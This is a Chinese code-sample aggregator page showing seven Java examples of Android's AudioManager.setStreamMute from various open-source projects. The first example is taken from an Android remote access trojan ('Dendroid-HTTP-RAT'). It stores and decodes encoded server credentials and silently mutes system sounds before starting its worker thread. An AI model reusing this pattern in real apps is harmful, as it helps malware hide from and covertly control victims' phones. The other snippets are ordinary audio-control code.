当前位置: 首页>>代码示例>>Java>>正文


Java AudioManager.setStreamMute方法代码示例

本文整理汇总了Java中android.media.AudioManager.setStreamMute方法的典型用法代码示例。如果您正苦于以下问题:Java AudioManager.setStreamMute方法的具体用法?Java AudioManager.setStreamMute怎么用?Java AudioManager.setStreamMute使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在android.media.AudioManager的用法示例。


在下文中一共展示了AudioManager.setStreamMute方法的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: initiate

import android.media.AudioManager; //导入方法依赖的package包/类
public void initiate()
{
       try 
       {
       	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false);
           PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Files",false).commit();

        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("URL", encodedURL).commit();
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit();
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("password", encodedPassword).commit();
         
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("androidId", androidId).commit();

     	URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT ));
     	password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT ));
         	    
        AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
        mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true); 
       } catch (Exception e) {e.printStackTrace();}
       thread.start();
}
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:22,代码来源:MyService.java

示例2: setMute

import android.media.AudioManager; //导入方法依赖的package包/类
/**
 * set mute
 * @param mute
 * @return GiraffePlayer
 */
public GiraffePlayer setMute(boolean mute){
    this.mute = mute;
    AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
    audioManager.setStreamMute(AudioManager.STREAM_MUSIC,true);
    return this;
}
 
开发者ID:tcking,项目名称:GiraffePlayer2,代码行数:12,代码来源:GiraffePlayer.java

示例3: smsMsgHandle

import android.media.AudioManager; //导入方法依赖的package包/类
@Override
public void smsMsgHandle() {
    Contact c = mAppConfig.lastSms.getContact();
    if (mAppConfig.notInDND(c) && mAppConfig.inmsg_tips) {
        AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
        mAudioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true);
        tPools.execute(new NumberMsg(mAppConfig.lastSms.getName(), false));
    } else {
        inMsgTipsFlow = 0;
    }
}
 
开发者ID:LingjuAI,项目名称:AssistantBySDK,代码行数:12,代码来源:MobileCommProcessor.java

示例4: setMute

import android.media.AudioManager; //导入方法依赖的package包/类
private void setMute(final boolean isMute){
    AudioManager am = (AudioManager) getSystemService(AUDIO_SERVICE);
    am.setStreamMute(AudioManager.STREAM_MUSIC, isMute);

    alexaManager.sendMutedEvent(isMute, requestCallback);

    Log.i(TAG, "Mute set to : "+isMute);

    new Handler(Looper.getMainLooper()).post(new Runnable() {
        @Override
        public void run() {
            Toast.makeText(BaseActivity.this, "Volume " + (isMute ? "muted" : "unmuted"), Toast.LENGTH_SHORT).show();
        }
    });
}
 
开发者ID:vaibhavs4424,项目名称:AI-Powered-Intelligent-Banking-Platform,代码行数:16,代码来源:BaseActivity.java

示例5: setStreamMusicMute

import android.media.AudioManager; //导入方法依赖的package包/类
public static void setStreamMusicMute(AudioManager audioManager, boolean mute) {
    Method setStreamMuteSystemNoUI;
    try {
        setStreamMuteSystemNoUI = AudioManager.class.getMethod("setStreamMuteSystemNoUI", int.class, boolean.class);
        setStreamMuteSystemNoUI.invoke(audioManager, AudioManager.STREAM_MUSIC, mute);
    } catch (Exception e) {
        Log.d(TAG, "setStreamMusicMute failed!", e);
        audioManager.setStreamMute(AudioManager.STREAM_MUSIC, mute);
    }
}
 
开发者ID:archos-sa,项目名称:aos-MediaLib,代码行数:11,代码来源:Utils.java

示例6: receiveSms

import android.media.AudioManager; //导入方法依赖的package包/类
@Override
public void receiveSms(SmsInfo sms, StringBuilder number) {
    isSmsReceiverValid = true;
    Contact c = AppConfig.mContactUtils.getContactByNum(number);
    if (c == null) {
        c = new Contact();
        c.setName(number.toString());
        List<ContactNum> codes = new ArrayList<>();
        ContactNum contactNum = new ContactNum();
        contactNum.setNumber(c.getName());
        codes.add(contactNum);
        c.setCodes(codes);
        sms.setName(AssistantService.UNKOWN_NAME);
    } else {
        sms.setName(c.getName());
    }
    sms.setNumber(number.toString());
    sms.setType(1);
    sms.setContact(c);

    if (voiceMediator.mobileRing() || voiceMediator.isCalling() || inMsgTipsFlow > 0) {//通话中,响铃中,来信提示中,均不允许新来的短信打断
        mAppConfig.missedMsgs.offer(sms);
    } else {
        inMsgTipsFlow = 1;
        mAppConfig.lastSms.setTime(sms.getTime());
        mAppConfig.lastSms.setContent(sms.getContent());
        mAppConfig.lastSms.setNumber(sms.getNumber());
        mAppConfig.lastSms.setName(sms.getName());
        mAppConfig.lastSms.setType(sms.getType());
        mAppConfig.lastSms.setContact(sms.getContact());
        if (mAppConfig.notInDND(c) /*&& mAppConfig.CardMode*/ && mAppConfig.inmsg_tips) {
            AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
            mAudioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true);
            tPools.execute(new NumberMsg(mAppConfig.lastSms.getName(), false));
        } else {
            inMsgTipsFlow = 0;
        }
    }
    Single.just(0)
            .delay(1, TimeUnit.SECONDS)
            .doOnSuccess(new Consumer<Integer>() {
                @Override
                public void accept(Integer integer) throws Exception {
                    CallAndSmsDao.getInstance(mContext).sync(CallAndSmsDao.getInstance(mContext).getSyncDao(CallAndSmsDao.MessageDao.class));
                }
            })
            .subscribeOn(Schedulers.io())
            .subscribe();
}
 
开发者ID:LingjuAI,项目名称:AssistantBySDK,代码行数:50,代码来源:MobileCommProcessor.java

示例7: setMute

import android.media.AudioManager; //导入方法依赖的package包/类
/**
 * set the mute state
 *
 * @param mute the state
 */
public void setMute(boolean mute) {
    this.mute = mute;
    AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
    audioManager.setStreamMute(AudioManager.STREAM_MUSIC, mute);
}
 
开发者ID:theopenbit,项目名称:yaacc-code,代码行数:11,代码来源:UpnpClient.java


注:本文中的android.media.AudioManager.setStreamMute方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。